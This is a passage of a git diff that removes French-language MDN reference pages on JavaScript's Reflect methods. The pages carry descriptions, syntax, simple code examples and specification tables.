Exemples

- -

Utiliser Reflect.defineProperty()

- -
var obj = {};
-Reflect.defineProperty(obj, "x", {value: 7}); // true
-obj.x; // 7
-
- -

Vérifier si la définition de propriété a réussi

- -

{{jsxref("Object.defineProperty")}} renvoie un objet si la définition a réussi ou lève une exception {{jsxref("TypeError")}} sinon, ce qui implique d'utiliser un bloc try...catch pour attraper l'erreur. Reflect.defineProperty renvoie un booléen pour indiquer la réussite ou l'échec, un bloc if...else suffit :

- -
if (Reflect.defineProperty(cible, propriété, attributs)) {
-  // succès
-} else {
-  // échec
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.defineProperty")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.defineProperty()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html deleted file mode 100644 index f5ba3abedc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/deleteproperty/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Reflect.deleteProperty() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/deleteProperty -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty ---- -
{{JSRef}}
- -

La méthode statique Reflect.deleteProperty() permet de supprimer des propriétés. Il agit comme l'opérateur delete.

- -
{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}
- - - -

Syntaxe

- -
Reflect.deleteProperty(cible, cléPropriété)
-
- -

Paramètres

- -
-
cible
-
L'objet cible sur lequel on souhaite supprimer la propriété.
-
cléPropriété
-
Le nom de la propriété à supprimer.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la suppression de la propriété s'est bien passée.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.deleteProperty permet de supprimer une propriété d'un objet. Elle renvoie un {{jsxref("Boolean")}} qui indique si la propriété a été supprimée correctement. Cette méthode est très proche de l'opérateur delete.

- -

Exemples

- -
var obj = { x: 1, y: 2 };
-Reflect.deleteProperty(obj, "x"); // true
-obj; // { y: 2 }
-
-var arr = [1, 2, 3, 4, 5];
-Reflect.deleteProperty(arr, "3"); // true
-arr; // [1, 2, 3, , 5]
-
-// Renvoie true si aucune propriété correspondante n'existe
-Reflect.deleteProperty({}, "toto"); // true
-
-// Renvoie false si une propriété n'est pas configurable
-Reflect.deleteProperty(Object.freeze({toto: 1}),"toto"); // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.deleteProperty")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html deleted file mode 100644 index 8538b87538..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/get/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Reflect.get() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/get -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get ---- -
{{JSRef}}
- -

La méthode statique Reflect.get() est une fonction qui permet d'obtenir une propriété d'un objet cible. Elle fonctionne comme (cible[cléPropriété]) mais sous la forme d'une fonction.

- -
{{EmbedInteractiveExample("pages/js/reflect-get.html")}}
- - - -

Syntaxe

- -
Reflect.get(cible, cléPropriété[, récepteur])
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite obtenir la propriété.
-
cléPropriété
-
Le nom de la propriété qu'on souhaite obtenir.
-
récepteur {{optional_inline}}
-
La valeur de this à passer à cible si l'accesseur est utilisé. Lorsqu'on l'utilise avec {{jsxref("Proxy")}}, ce peut être un objet qui hérite de la cible.
-
- -

Valeur de retour

- -

La valeur de la propriété.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.get permet d'obtenir une propriété d'un objet. Elle est équivalent à un accesseur de propriété mais sous la forme d'une fonction.

- -

Exemples

- -
// Object
-var obj = { x: 1, y: 2 };
-Reflect.get(obj, "x"); // 1
-
-// Array
-Reflect.get(["zero", "un"], 1); // "un"
-
-// Proxy qui intercepte get
-var x = {p: 1};
-var obj = new Proxy(x, {
-  get(t, k, r) { return k + "truc"; }
-});
-Reflect.get(obj, "toto"); // "tototruc"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.get")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html deleted file mode 100644 index 77db7ad5e1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/getownpropertydescriptor/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Reflect.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getOwnPropertyDescriptor -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

La méthode statique Reflect.getOwnPropertyDescriptor() est similaire à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Elle renvoie un descripteur de propriété pour la propriété visée si elle existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}.

- -
{{EmbedInteractiveExample("pages/js/reflect-getownpropertydescriptor.html")}}
- - - -

Syntaxe

- -
Reflect.getOwnPropertyDescriptor(cible, cléPropriété)
-
- -

Paramètres

- -
-
cible
-
L'objet cible sur lequel on cherche la propriété.
-
cléPropriété
-
Le nom de la propriété dont on veut obtenir le descripteur.
-
- -

Valeur de retour

- -

Un objet qui est un descripteur de propriété si elle existe sur l'objet cible ou {{jsxref("undefined")}} dans le cas contraire.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.getOwnPropertyDescriptor renvoie un descripteur pour la propriété demandée si celle-ci existe sur l'objet, sinon, elle renvoie {{jsxref("undefined")}}. La seule différence avec {{jsxref("Object.getOwnPropertyDescriptor()")}} est la façon dont les cibles qui ne sont pas des objets sont gérées.

- -

Exemples

- -

Utiliser Reflect.getOwnPropertyDescriptor()

- -
Reflect.getOwnPropertyDescriptor({x: "coucou"}, "x");
-// {value: "coucou", writable: true, enumerable: true, configurable: true}
-
-Reflect.getOwnPropertyDescriptor({x: "coucou"}, "y");
-// undefined
-
-Reflect.getOwnPropertyDescriptor([], "length");
-// {value: 0, writable: true, enumerable: false, configurable: false}
-
- -

Différence avec Object.getOwnPropertyDescriptor()

- -

Si le premier argument passé à la méthode n'est pas un objet (autrement dit si c'est une valeur de type primitif), cela causera une exception {{jsxref("TypeError")}}. Si on utilise {{jsxref("Object.getOwnPropertyDescriptor")}}, une valeur qui n'est pas un objet sera d'abord convertie en objet.

- -
Reflect.getOwnPropertyDescriptor("toto", 0);
-// TypeError: "toto" is not non-null object
-
-Object.getOwnPropertyDescriptor("toto", 0);
-// { value: "toto", writable: false, enumerable: true, configurable: false }
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.getOwnPropertyDescriptor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html deleted file mode 100644 index c59fff975a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/getprototypeof/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Reflect.getPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/getPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf ---- -
{{JSRef}}
- -

La méthode statique Reflect.getPrototypeOf() est semblable à la méthode {{jsxref("Object.getPrototypeOf()")}}. Elle renvoie le prototype (c'est-à-dire la valeur de la propriété interne [[Prototype]]) de l'objet donné.

- -
{{EmbedInteractiveExample("pages/js/reflect-getprototypeof.html")}}
- - - -

Syntaxe

- -
Reflect.getPrototypeOf(cible)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite obtenir le prototype.
-
- -

Valeur de retour

- -

Le prototype de l'objet ou {{jsxref("null")}} s'il n'y a aucune propriété héritée.

- -

Exceptions levées

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.getPrototypeOf renvoie le prototype (qui correspond en réalité à la valeur de la propriété interne [[Prototype]]) de l'objet passé en argument.

- -

Exemples

- -

Utiliser Reflect.getPrototypeOf()

- -
Reflect.getPrototypeOf({}); // Object.prototype
-Reflect.getPrototypeOf(Object.prototype); // null
-Reflect.getPrototypeOf(Object.create(null)); // null
-
- -

Comparaison avec Object.getPrototypeOf()

- -
// Résultat identiques pour les objets
-Object.getPrototypeOf({});  // Object.prototype
-Reflect.getPrototypeOf({}); // Object.prototype
-
-// Exception levée avec ES5 pour les valeurs qui ne sont pas des objets
-Object.getPrototypeOf('toto');  // Throws TypeError
-Reflect.getPrototypeOf('toto'); // Throws TypeError
-
-// Avec ES2015 (ES6), seul Reflect lève une exception
-// Object convertit automatiquement les valeurs en objets
-Object.getPrototypeOf('toto');  // String.prototype
-Reflect.getPrototypeOf('toto'); // Throws TypeError
-
-// Pour obtenir le même effet qu'avec Object en ES2015, il
-// faut ajouter une opération de conversion explicite
-Reflect.getPrototypeOf(Object('toto')); // String.prototype
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.getPrototypeOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.getPrototypeOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html deleted file mode 100644 index 66b230f065..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/has/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Reflect.has() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/has -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/has ---- -
{{JSRef}}
- -

La méthode statique Reflect.has() fonctionne comme l'opérateur in mais sous forme d'une fonction.

- -
{{EmbedInteractiveExample("pages/js/reflect-has.html")}}
- - - -

Syntaxe

- -
Reflect.has(cible, cléPropriété)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite savoir s'il contient la propriété donnée.
-
cléPropriété
-
Le nom de la propriété dont on souhaite vérifier la présence.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la propriété recherchée est présente sur l'objet cible.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.has vous permet de vérifier si une propriété est présente sur un objet. C'est une fonction qui agit comme l'opérateur in.

- -

Exemples

- -
Reflect.has({x: 0}, "x"); // true
-Reflect.has({x: 0}, "y"); // false
-
-// renvoie true pour les propriétés présentes
-// grâce à la chaîne de prototypes
-Reflect.has({x: 0}, "toString");
-
-// Proxy avec la méthode .has()
-obj = new Proxy({}, {
-  has(t, k) { return k.startsWith("bou"); }
-});
-Reflect.has(obj, "bouchon"); // true
-Reflect.has(obj, "bonbon");  // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.has")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/index.html deleted file mode 100644 index 8a1383c7b5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Reflect -slug: Web/JavaScript/Reference/Objets_globaux/Reflect -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect ---- -
{{JSRef}}
- -

Reflect est un objet natif qui fournit des méthodes pour les opérations qui peuvent être interceptées en JavaScript (via les proxies). Les méthodes de cet objet sont les mêmes que celles des gestionnaires de proxy. Reflect n'est pas une fonction (y compris pour construire un objet).

- -

Description

- -

Contrairement à la plupart des objets globaux, Reflect n'est pas un constructeur. Il ne peut pas être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} ou être invoqué comme une fonction. Les propriétés et méthodes de Reflect sont statiques (comme pour celles de l'objet {{jsxref("Math")}}).

- -

Méthodes

- -

L'objet Reflect fournit des fonctions statiques qui ont les mêmes noms que les méthodes des gestionnaires de proxy et dont certaines correspondent, avec quelques différences, à celles d'{{jsxref("Object")}} :

- -
-
{{jsxref("Reflect.apply()")}}
-
Appelle une fonction cible avec les arguments définis par le paramètres args. Voir aussi {{jsxref("Function.prototype.apply()")}}.
-
{{jsxref("Reflect.construct()")}}
-
 L'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}} comme fonction. C'est équivalent à new cible(...args). Cette méthode permet également d'indiquer un prototype différent.
-
{{jsxref("Reflect.defineProperty()")}}
-
Semblable à {{jsxref("Object.defineProperty()")}}. Renvoie un {{jsxref("Boolean")}}.
-
{{jsxref("Reflect.deleteProperty()")}}
-
L'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} comme fonction. C'est équivalent à delete cible[nom].
-
{{jsxref("Reflect.get()")}}
-
Une fonction qui renvoie la valeur d'une propriété.
-
{{jsxref("Reflect.getOwnPropertyDescriptor()")}}
-
Semblable à {{jsxref("Object.getOwnPropertyDescriptor()")}}. Renvoie un descripteur de propriété si la propriété existe sur l'objet, {{jsxref("undefined")}} sinon.
-
{{jsxref("Reflect.getPrototypeOf()")}}
-
Identique à {{jsxref("Object.getPrototypeOf()")}}.
-
{{jsxref("Reflect.has()")}}
-
L'opérateur {{jsxref("Opérateurs/L_opérateur_in","in")}} comme fonction. Renvoie un booléen qui indique si une telle propriété existe pour l'objet (qu'elle soit directement rattachée ou héritée).
-
{{jsxref("Reflect.isExtensible()")}}
-
La même fonction que {{jsxref("Object.isExtensible()")}}.
-
{{jsxref("Reflect.ownKeys()")}}
-
Renvoie un tableau de chaînes de caractères qui correspondent aux noms des propriétés propres (celles qui ne sont pas héritées) de l'objet.
-
{{jsxref("Reflect.preventExtensions()")}}
-
Semblable à {{jsxref("Object.preventExtensions()")}}. Renvoie un {{jsxref("Boolean")}}.
-
{{jsxref("Reflect.set()")}}
-
Une fonction qui affecte des valeurs à des propriétés. Renvoie un {{jsxref("Boolean")}} qui vaut true si la mise à jour a bien été effectuée.
-
{{jsxref("Reflect.setPrototypeOf()")}}
-
Une fonction qui permet de définir le prototype d'un objet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect-object', 'Reflect')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}{{Spec2('ESDraft')}}Retrait de Reflect.enumerate
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect")}}

- -

Voir aussi

- -
    -
  • L'objet global {{jsxref("Proxy")}}.
    • -
  • L'objet {{jsxref("Proxy.handler", "handler")}}.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html deleted file mode 100644 index bdb266575c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/isextensible/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Reflect.isExtensible() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/isExtensible -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible ---- -
{{JSRef}}
- -

La méthode statique Reflect.isExtensible() permet de déterminer si un objet est extensible (i.e. si on peut lui ajouter de nouvelles propriétés). Elle est semblable à la méthode {{jsxref("Object.isExtensible()")}} (modulo quelques différences).

- -
{{EmbedInteractiveExample("pages/js/reflect-isextensible.html", "taller")}}
- - - -

Syntaxe

- -
Reflect.isExtensible(cible)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite savoir s'il est extensible.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen", "",1)}} qui indique si la cible est extensible ou non.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.isExtensible permet de déterminer si un objet est extensible (autrement dit si on peut lui ajouter de nouvelles propriétés). Cette méthode est semblable à la méthode {{jsxref("Object.isExtensible()")}}.

- -

Exemples

- -

Utiliser Reflect.isExtensible()

- -

Voir aussi {{jsxref("Object.isExtensible()")}}.

- -
// Les nouveaux objets sont extensibles.
-var vide = {};
-Reflect.isExtensible(vide); // true
-
-// ...mais ça peut être changé.
-Reflect.preventExtensions(vide);
-Reflect.isExtensible(vide); // false
-
-// Par définition, les objets scellés
-// ne sont pas extensibles.
-var scellé = Object.seal({});
-Reflect.isExtensible(scellé); // false
-
-// Par définition, les objets gelés sont
-// également non-extensibles.
-var gelé = Object.freeze({});
-Reflect.isExtensible(gelé); // false
-
- -

Différence avec Object.isExtensible()

- -

Si le premier argument passé à la méthode n'est pas un objet (autrement dit si la valeur est une valeur primitive), cela provoquera une exception {{jsxref("TypeError")}}. La méthode {{jsxref("Object.isExtensible()")}} aurait commencé par convertir l'argument en un objet.

- -
Reflect.isExtensible(1);
-// TypeError: 1 is not an object
-
-Object.isExtensible(1);
-// false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.isExtensible")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html deleted file mode 100644 index 9372830b80..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/ownkeys/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Reflect.ownKeys() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/ownKeys -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys ---- -

{{JSRef}}

- -

La méthode statique Reflect.ownKeys() renvoie un tableau qui contient les clés des propriétés propres (non héritées) de l'objet  cible.

- -
{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}
- - - -

Syntaxe

- -
Reflect.ownKeys(cible)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on souhaite obtenir les noms et symboles des propriétés propres.
-
- -

Valeur de retour

- -

Un objet {{jsxref("Array")}} qui contient les clés des propriétés propres de cible.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.ownKeys renvoie un tableau dont les éléments sont les clés des propriétés propres de l'objet cible. Sa valeur de retour est équivalente à {{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(target)", "", 1)}}.concat({{jsxref("Object.getOwnPropertySymbols", "Object.getOwnPropertySymbols(target)", "", 1)}}).

- -

Exemples

- -
Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
-Reflect.ownKeys([]); // ["length"]
-
-var sym = Symbol.for("comète");
-var sym2 = Symbol.for("météore");
-var obj = {[sym]: 0, "str1": 0, "773": 0, "0": 0,
-           [sym2]: 0, "-1": 0, "8": 0, "seconde str": 0};
-Reflect.ownKeys(obj);
-// [ "0", "8", "773", "str1", "-1", "seconde str", Symbol(comète), Symbol(météore) ]
-// Indices dans l'ordre numérique
-// Chaînes de caractères dans l'ordre d'insertion
-// Symboles dans l'ordre d'insertion
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.ownKeys")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html deleted file mode 100644 index c7f202f685..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/preventextensions/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Reflect.preventExtensions() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/preventExtensions -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions ---- -
{{JSRef}}
- -

La méthode statique Reflect.preventExtensions() permet d'empêcher d'ajouter de nouvelles propriétés à un objet. Cette méthode est semblable à la méthode {{jsxref("Object.preventExtensions()")}} (modulo quelques différences).

- -
{{EmbedInteractiveExample("pages/js/reflect-preventextensions.html")}}
- - - -

Syntaxe

- -
Reflect.preventExtensions(cible)
-
- -

Paramètres

- -
-
cible
-
L'objet cible dont on veut empêcher l'ajout d'autres propriétés.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si l'interdiction a bien été mise en place sur l'objet cible.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.preventExtensions permet d'empêcher l'ajout de nouvelles propriétés sur un objet. Cette méthode est semblable à {{jsxref("Object.preventExtensions()")}}.

- -

Exemples

- -

Utiliser Reflect.preventExtensions()

- -

Voir aussi {{jsxref("Object.preventExtensions()")}}.

- -
// Par défaut les objets sont extensibles
-var vide = {};
-Reflect.isExtensible(vide); // === true
-
-// ...mais cela peut être modifié
-Reflect.preventExtensions(vide);
-Reflect.isExtensible(vide); // === false
-
- -

Différences avec Object.preventExtensions()

- -

Si le premier argument de cette méthode n'est pas un objet (autrement dit c'est une valeur primitive), cela provoquera une {{jsxref("TypeError")}}. {{jsxref("Object.preventExtensions()")}}, quant à elle, convertira l'argument passé en un objet.

- -
Reflect.preventExtensions(1);
-// TypeError: 1 is not an object
-
-Object.preventExtensions(1);
-// 1
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.preventExtensions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Reflect")}}
    • -
  • {{jsxref("Object.isExtensible()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html deleted file mode 100644 index 8d37acc413..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/set/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Reflect.set() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/set -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set ---- -
{{JSRef}}
- -

La méthode statique Reflect.set() permet de définir ou de modifier une propriété sur un objet.

- -
{{EmbedInteractiveExample("pages/js/reflect-set.html")}}
- - - -

Syntaxe

- -
Reflect.set(cible, cléPropriété, valeur[, récepteur])
-
- -

Paramètres

- -
-
cible
-
L'objet cible sur lequel on veut définir ou modifier la propriété.
-
cléPropriété
-
Le nom de la propriété à définir ou à modifier.
-
valeur
-
La valeur pour la propriété.
-
récepteur{{optional_inline}}
-
La valeur de this pour l'appel à cible si un mutateur (setter) est utilisé.
-
- -

Valeur de retour

- -

Un {{jsxref("Boolean","booléen","",1)}} qui indique si la définition/modification de la propriété a réussi.

- -

Exceptions

- -

Une erreur {{jsxref("TypeError")}} si cible n'est pas un {{jsxref("Object")}}.

- -

Description

- -

La méthode Reflect.set permet de définir une propriété sur un objet. Elle effectue une affectation de propriété et est semblable à la syntaxe pour accéder à un propriété mais sous la forme d'une fonction.

- -

Exemples

- -

Utiliser Reflect.set()

- -
// Object
-var obj = {};
-Reflect.set(obj, "prop", "value"); // true
-obj.prop; // "value"
-
-// Array
-var arr = ["canard", "canard", "canard"];
-Reflect.set(arr, 2, "oie"); // true
-arr[2]; // "oie"
-
-// On peut l'utiliser pour tronquer un tableau
-Reflect.set(arr, "length", 1); // true
-arr; // ["canard"];
-
-// Avec un seul argument
-// cléPropriété et valeur valent "undefined".
-var obj = {};
-Reflect.set(obj); // true
-Reflect.getOwnPropertyDescriptor(obj, "undefined");
-// { value: undefined, writable: true, enumerable: true, configurable: true }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Reflect.set")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html b/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html deleted file mode 100644 index 8d267952c0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/reflect/setprototypeof/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Reflect.setPrototypeOf() -slug: Web/JavaScript/Reference/Objets_globaux/Reflect/setPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - Reflect -translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf ---- -
{{JSRef}}
- -

la méthode statique Reflect.setPrototypeOf() est semblable à la méthode {{jsxref("Object.setPrototypeOf()")}} (exception faite de la valeur de retour). Elle permet de définir le prototype (c'est-à-dire la propriété interne [[Prototype]]) d'un objet donné avec un autre objet ou {{jsxref("null")}}. Cette méthode renvoie true si l'opération a réussi et false sinon.

- -
